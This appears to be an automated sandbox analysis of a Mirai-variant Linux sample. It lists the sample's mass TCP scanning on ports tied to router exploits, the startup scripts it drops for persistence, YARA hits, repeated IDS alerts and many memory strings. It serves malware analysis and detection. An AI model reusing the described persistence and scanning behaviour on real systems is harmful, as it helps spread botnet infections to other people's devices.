Source: global traffic	TCP traffic: 183.97.35.234 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.88.190.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 136.146.87.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 155.28.91.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 170.103.95.102 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 161.77.25.102 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.171.230.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 68.11.220.163 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 159.194.166.106 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 54.11.118.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.215.195.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 189.190.219.180 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 218.40.61.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 92.142.33.1 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 147.98.201.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 126.59.39.54 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 91.207.188.233 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 103.37.135.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 68.14.72.157 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 161.123.134.125 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.2.126.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.212.230.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 128.138.55.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 161.93.115.45 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 27.17.40.211 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 16.112.35.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 95.17.71.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.224.92.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 61.16.240.45 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 218.48.161.249 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 17.112.87.81 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 87.177.69.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 22.99.78.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 208.163.147.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 75.129.13.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.141.109.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 19.67.110.15 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 126.192.65.153 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 173.223.94.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 124.71.42.11 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 176.151.53.199 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 78.213.72.7 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 196.188.215.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 64.207.145.40 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 72.97.194.253 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 93.216.184.114 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 200.123.190.136 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 193.44.43.245 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 150.207.100.3 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 202.85.197.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 84.90.19.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 54.109.214.227 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 75.123.105.233 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 28.42.7.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 177.77.205.17 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 100.161.151.12 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.160.251.247 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 40.53.157.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 125.164.9.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 105.34.244.226 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 97.219.253.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.217.115.182 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 112.192.199.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 48.92.4.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 132.134.151.245 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 157.91.135.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.215.215.90 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.112.198.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 60.174.254.109 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 70.204.44.78 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 150.80.240.28 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 34.132.129.114 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 204.194.174.207 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 22.57.34.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 147.48.26.137 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 195.157.185.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 166.192.36.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.9.162.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 123.110.237.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 61.28.112.215 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 87.127.201.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 22.199.254.114 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 115.67.179.153 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 155.179.105.127 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 91.215.90.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.206.108.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.198.232.44 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 165.104.95.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 79.247.109.242 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 182.11.142.83 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 169.192.55.155 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 84.7.52.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.70.237.141 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 34.93.171.188 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 160.185.246.200 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 81.45.186.95 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 9.63.215.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 2.190.207.87 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 206.4.151.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 93.97.252.149 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 156.103.247.205 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 36.251.169.244 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 17.84.15.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.84.54.39 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 55.114.188.80 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.90.233.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 144.3.59.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 186.127.177.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 116.167.198.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 134.215.85.68 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 39.240.218.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 102.29.196.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 46.157.113.65 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 26.33.200.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 175.110.89.119 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 155.118.17.219 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 80.104.61.196 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 89.93.106.17 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 109.129.81.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 165.223.170.35 ports 1,2,4,5,9,49152

Source: /tmp/na.elf (PID: 5513)	Reads hosts file: /etc/hosts	Jump to behavior
Source: /tmp/na.elf (PID: 5530)	Reads hosts file: /etc/hosts	Jump to behavior
Source: /tmp/na.elf (PID: 5534)	Reads hosts file: /etc/hosts	Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 63.229.117.53
Source: unknown	TCP traffic detected without corresponding DNS query: 5.49.49.177
Source: unknown	TCP traffic detected without corresponding DNS query: 67.224.113.74
Source: unknown	TCP traffic detected without corresponding DNS query: 59.106.136.189
Source: unknown	TCP traffic detected without corresponding DNS query: 135.57.144.39
Source: unknown	TCP traffic detected without corresponding DNS query: 161.77.25.102
Source: unknown	TCP traffic detected without corresponding DNS query: 41.54.39.73
Source: unknown	TCP traffic detected without corresponding DNS query: 63.229.117.53
Source: unknown	TCP traffic detected without corresponding DNS query: 39.160.251.247
Source: unknown	TCP traffic detected without corresponding DNS query: 98.89.100.159
Source: unknown	TCP traffic detected without corresponding DNS query: 5.49.49.177
Source: unknown	TCP traffic detected without corresponding DNS query: 212.215.215.90
Source: unknown	TCP traffic detected without corresponding DNS query: 67.224.113.74
Source: unknown	TCP traffic detected without corresponding DNS query: 59.53.20.219
Source: unknown	TCP traffic detected without corresponding DNS query: 30.115.201.73
Source: unknown	TCP traffic detected without corresponding DNS query: 59.106.136.189
Source: unknown	TCP traffic detected without corresponding DNS query: 214.45.107.87
Source: unknown	TCP traffic detected without corresponding DNS query: 64.206.35.48
Source: unknown	TCP traffic detected without corresponding DNS query: 135.57.144.39
Source: unknown	TCP traffic detected without corresponding DNS query: 22.57.34.167
Source: unknown	TCP traffic detected without corresponding DNS query: 16.86.214.3
Source: unknown	TCP traffic detected without corresponding DNS query: 161.77.25.102
Source: unknown	TCP traffic detected without corresponding DNS query: 41.54.39.73
Source: unknown	TCP traffic detected without corresponding DNS query: 205.212.230.97
Source: unknown	TCP traffic detected without corresponding DNS query: 39.160.251.247
Source: unknown	TCP traffic detected without corresponding DNS query: 56.248.208.23
Source: unknown	TCP traffic detected without corresponding DNS query: 102.29.196.132
Source: unknown	TCP traffic detected without corresponding DNS query: 98.89.100.159
Source: unknown	TCP traffic detected without corresponding DNS query: 212.215.215.90
Source: unknown	TCP traffic detected without corresponding DNS query: 83.156.236.112
Source: unknown	TCP traffic detected without corresponding DNS query: 59.53.20.219
Source: unknown	TCP traffic detected without corresponding DNS query: 35.178.213.104
Source: unknown	TCP traffic detected without corresponding DNS query: 30.115.201.73
Source: unknown	TCP traffic detected without corresponding DNS query: 214.45.107.87
Source: unknown	TCP traffic detected without corresponding DNS query: 23.217.115.182
Source: unknown	TCP traffic detected without corresponding DNS query: 67.224.113.74
Source: unknown	TCP traffic detected without corresponding DNS query: 5.49.49.177
Source: unknown	TCP traffic detected without corresponding DNS query: 59.106.136.189
Source: unknown	TCP traffic detected without corresponding DNS query: 63.229.117.53
Source: unknown	TCP traffic detected without corresponding DNS query: 64.206.35.48
Source: unknown	TCP traffic detected without corresponding DNS query: 173.83.96.112
Source: unknown	TCP traffic detected without corresponding DNS query: 22.57.34.167
Source: unknown	TCP traffic detected without corresponding DNS query: 162.165.202.16
Source: unknown	TCP traffic detected without corresponding DNS query: 16.86.214.3
Source: unknown	TCP traffic detected without corresponding DNS query: 90.167.66.229
Source: unknown	TCP traffic detected without corresponding DNS query: 205.212.230.97
Source: unknown	TCP traffic detected without corresponding DNS query: 38.108.197.73
Source: unknown	TCP traffic detected without corresponding DNS query: 134.20.77.183
Source: unknown	TCP traffic detected without corresponding DNS query: 56.248.208.23
Source: unknown	TCP traffic detected without corresponding DNS query: 102.29.196.132

Source: global traffic	DNS traffic detected: DNS query: dht.transmissionbt.com
Source: global traffic	DNS traffic detected: DNS query: router.bittorrent.com
Source: global traffic	DNS traffic detected: DNS query: router.utorrent.com
Source: global traffic	DNS traffic detected: DNS query: bttracker.debian.org
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: /tmp/na.elf (PID: 5513)	File: /etc/init.d/S95baby.sh	Jump to dropped file
Source: /tmp/na.elf (PID: 5513)	File: /etc/init.d/keyboard-setup.sh	Jump to dropped file
Source: /tmp/na.elf (PID: 5513)	File: /etc/init.d/console-setup.sh	Jump to dropped file
Source: /tmp/na.elf (PID: 5513)	File: /etc/init.d/hwclock.sh	Jump to dropped file
Source: /tmp/na.elf (PID: 5513)	File: /usr/bin/gettext.sh	Jump to dropped file
Source: /tmp/na.elf (PID: 5513)	File: /usr/bin/rescan-scsi-bus.sh	Jump to dropped file

Source: /tmp/na.elf (PID: 5509)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/na.elf (PID: 5526)	Queries kernel information via 'uname':	Jump to behavior

Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo Monitoring qemu job at pid $qemu_pid
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: ( $QEMU $qemu_args -m $TORTURE_QEMU_MEM -kernel $KERNEL -append "$qemu_append $boot_args" > $resdir/qemu-output 2>&1 & echo $! > $resdir/qemu_pid; wait `cat $resdir/qemu_pid`; echo $? > $resdir/qemu-retval ) &
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-ppc64)
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if kill -0 $qemu_pid > /dev/null 2>&1
Source: kvm.sh.14.dr	Binary or memory string: print "kvm-test-1-run.sh " CONFIGDIR cf[j], builddir, rd cfr[jn], dur " \"" TORTURE_QEMU_ARG "\" \"" TORTURE_BOOTARGS "\" > " rd cfr[jn] "/kvm-test-1-run.sh.out 2>&1 &"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_args="`specify_qemu_cpus "$QEMU" "$qemu_args" "$cpu_count"`"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo Monitoring qemu job at yet-as-unknown pid
Source: kvm.sh.14.dr	Binary or memory string: -v TORTURE_QEMU_ARG="$TORTURE_QEMU_ARG" \
Source: functions.sh2.14.dr	Binary or memory string: identify_qemu_append () {
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: QEMU="`identify_qemu vmlinux`"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_args="$qemu_args `identify_qemu_args "$QEMU" "$resdir/console.log"`"
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_INTERACTIVE="$TORTURE_QEMU_INTERACTIVE"; export TORTURE_QEMU_INTERACTIVE
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if test -z "$qemu_pid" -a -s "$resdir/qemu_pid"
Source: functions.sh2.14.dr	Binary or memory string: identify_qemu_args () {
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-x86_64\|qemu-system-i386)
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: # Generate -smp qemu argument.
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo "!!! PID $qemu_pid hung at $kruntime vs. $seconds seconds" >> $resdir/Warnings 2>&1
Source: functions.sh2.14.dr	Binary or memory string: # Output arguments for the qemu "-append" string based on CPU type
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: killpid="`sed -n "s/^(qemu) qemu: terminating on signal [0-9]* from pid \([0-9]\).$/\1/p" $resdir/Warnings`"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_pid=`cat "$resdir/qemu_pid"`
Source: functions.sh2.14.dr	Binary or memory string: echo qemu-system-ppc64
Source: functions.sh2.14.dr	Binary or memory string: if test -n "$TORTURE_QEMU_INTERACTIVE" -a -n "$TORTURE_QEMU_MAC"
Source: functions.sh2.14.dr	Binary or memory string: echo qemu-system-aarch64
Source: kvm-recheck-rcu.sh.14.dr	Binary or memory string: dur=`sed -e 's/^.* rcutorture.shutdown_secs=//' -e 's/ .*$//' < $i/qemu-cmd 2> /dev/null`
Source: functions.sh2.14.dr	Binary or memory string: # identify_qemu_append qemu-cmd
Source: kvm.sh.14.dr	Binary or memory string: print "needqemurun="
Source: functions.sh2.14.dr	Binary or memory string: identify_qemu_vcpus () {
Source: na.elf, 5509.1.0000562805852000.00005628059a4000.rw-.sdmp, na.elf, 5511.1.0000562805852000.00005628059a4000.rw-.sdmp	Binary or memory string: (V!/etc/qemu-binfmt/arm
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if test $commandcompleted -eq 0 -a -n "$qemu_pid"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if test -z "$qemu_pid" \|\| kill -0 "$qemu_pid" > /dev/null 2>&1
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo "NOTE: $QEMU either did not run or was interactive" > $resdir/console.log
Source: kvm.sh.14.dr	Binary or memory string: print "\tneedqemurun=1"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_args=$5
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: # Generate qemu -append arguments
Source: na.elf, 5509.1.00007ffc640db000.00007ffc640fc000.rw-.sdmp, na.elf, 5511.1.00007ffc640db000.00007ffc640fc000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: functions.sh2.14.dr	Binary or memory string: echo -device spapr-vlan,netdev=net0,mac=$TORTURE_QEMU_MAC
Source: kvm.sh.14.dr	Binary or memory string: checkarg --qemu-cmd "(qemu-system-...)" $# "$2" 'qemu-system-' '^--'
Source: functions.sh2.14.dr	Binary or memory string: echo qemu-system-i386
Source: functions.sh2.14.dr	Binary or memory string: # Output arguments for qemu arguments based on the TORTURE_QEMU_MAC
Source: kvm.sh.14.dr	Binary or memory string: print "if test -n \"$needqemurun\""
Source: functions.sh2.14.dr	Binary or memory string: echo qemu-system-x86_64
Source: functions.sh2.14.dr	Binary or memory string: identify_qemu () {
Source: parse-console.sh.14.dr	Binary or memory string: print_warning Console output contains nul bytes, old qemu still running?
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: sleep 10 # Give qemu's pid a chance to reach the file
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: kill -KILL $qemu_pid
Source: functions.sh2.14.dr	Binary or memory string: # Usually this will be one of /usr/bin/qemu-system-*
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-aarch64)
Source: kvm.sh.14.dr	Binary or memory string: checkarg --qemu-args "(qemu arguments)" $# "$2" '^-' '^error'
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo Unknown PID, cannot kill qemu command
Source: functions.sh2.14.dr	Binary or memory string: # and TORTURE_QEMU_INTERACTIVE environment variables.
Source: kvm-recheck-lock.sh.14.dr	Binary or memory string: dur=`sed -e 's/^.* locktorture.shutdown_secs=//' -e 's/ .*$//' < $i/qemu-cmd 2> /dev/null`
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: BOOT_IMAGE="`identify_boot_image $QEMU`"
Source: functions.sh2.14.dr	Binary or memory string: if test -n "$TORTURE_QEMU_INTERACTIVE"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo $QEMU $qemu_args -m $TORTURE_QEMU_MEM -kernel $KERNEL -append \"$qemu_append $boot_args\" > $resdir/qemu-cmd
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-x86_64\|qemu-system-i386\|qemu-system-aarch64)
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: echo Grace period for qemu job at pid $qemu_pid
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-x86_64)
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-aarch64)
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-x86_64\|qemu-system-i386)
Source: functions.sh2.14.dr	Binary or memory string: # Returns our best guess as to which qemu command is appropriate for
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: grep "^(qemu) qemu:" $resdir/kvm-test-1-run.sh.out >> $resdir/Warnings 2>&1
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_pid=""
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: elif test -z "$qemu_pid"
Source: functions.sh2.14.dr	Binary or memory string: # Appends a string containing "-smp XXX" to qemu-args, unless the incoming
Source: na.elf, 5509.1.0000562805852000.00005628059a4000.rw-.sdmp, na.elf, 5511.1.0000562805852000.00005628059a4000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_append="`identify_qemu_append "$QEMU"`"
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if test -z "$qemu_pid" -a -s "$resdir/qemu_pid"
Source: functions.sh2.14.dr	Binary or memory string: elif test -n "$TORTURE_QEMU_INTERACTIVE"
Source: kvm.sh.14.dr	Binary or memory string: --qemu-args\|--qemu-arg)
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_CMD="$TORTURE_QEMU_CMD"; export TORTURE_QEMU_CMD
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_MEM="$TORTURE_QEMU_MEM"; export TORTURE_QEMU_MEM
Source: functions.sh2.14.dr	Binary or memory string: echo $TORTURE_QEMU_CMD
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_MAC=$2
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_INTERACTIVE=1; export TORTURE_QEMU_INTERACTIVE
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_MEM=$2
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: vcpus=`identify_qemu_vcpus`
Source: functions.sh2.14.dr	Binary or memory string: specify_qemu_cpus () {
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-i386)
Source: functions.sh2.14.dr	Binary or memory string: qemu-system-ppc64)
Source: functions.sh2.14.dr	Binary or memory string: # identify_boot_image qemu-cmd
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_ARG="$2"
Source: kvm.sh.14.dr	Binary or memory string: print "needqemurun="
Source: functions.sh2.14.dr	Binary or memory string: # qemu-args already contains "-smp".
Source: functions.sh2.14.dr	Binary or memory string: # Use TORTURE_QEMU_CMD environment variable or appropriate
Source: functions.sh2.14.dr	Binary or memory string: echo Cannot figure out what qemu command to use! 1>&2
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: QEMU="`identify_qemu $base_resdir/vmlinux`"
Source: functions.sh2.14.dr	Binary or memory string: # the kernel at hand. Override with the TORTURE_QEMU_CMD environment variable.
Source: functions.sh2.14.dr	Binary or memory string: # identify_qemu_vcpus
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_CMD="$2"
Source: functions.sh2.14.dr	Binary or memory string: # specify_qemu_cpus qemu-cmd qemu-args #cpus
Source: na.elf, 5509.1.00007ffc640db000.00007ffc640fc000.rw-.sdmp, na.elf, 5511.1.00007ffc640db000.00007ffc640fc000.rw-.sdmp	Binary or memory string: dx86_64/usr/bin/qemu-arm/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: functions.sh2.14.dr	Binary or memory string: # identify_qemu_args qemu-cmd serial-file
Source: functions.sh2.14.dr	Binary or memory string: if test -n "$TORTURE_QEMU_CMD"
Source: kvm.sh.14.dr	Binary or memory string: --qemu-cmd)
Source: kvm.sh.14.dr	Binary or memory string: TORTURE_QEMU_MAC="$TORTURE_QEMU_MAC"; export TORTURE_QEMU_MAC
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_args="-enable-kvm -nographic $qemu_args"
Source: functions.sh2.14.dr	Binary or memory string: # identify_qemu builddir
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: # Generate architecture-specific and interaction-specific qemu arguments
Source: functions.sh2.14.dr	Binary or memory string: # and the TORTURE_QEMU_INTERACTIVE environment variable.
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: qemu_pid=`cat "$resdir/qemu_pid"`
Source: kvm-test-1-run.sh.14.dr	Binary or memory string: if test -s "$resdir/qemu_pid"

Source: Yara match	File source: 5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: /usr/networks, type: DROPPED
Source: Yara match	File source: 5509.1.00007f3c1c060000.00007f3c1c06a000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: 5511.1.00007f3c1c060000.00007f3c1c06a000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5509, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5511, type: MEMORYSTR

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
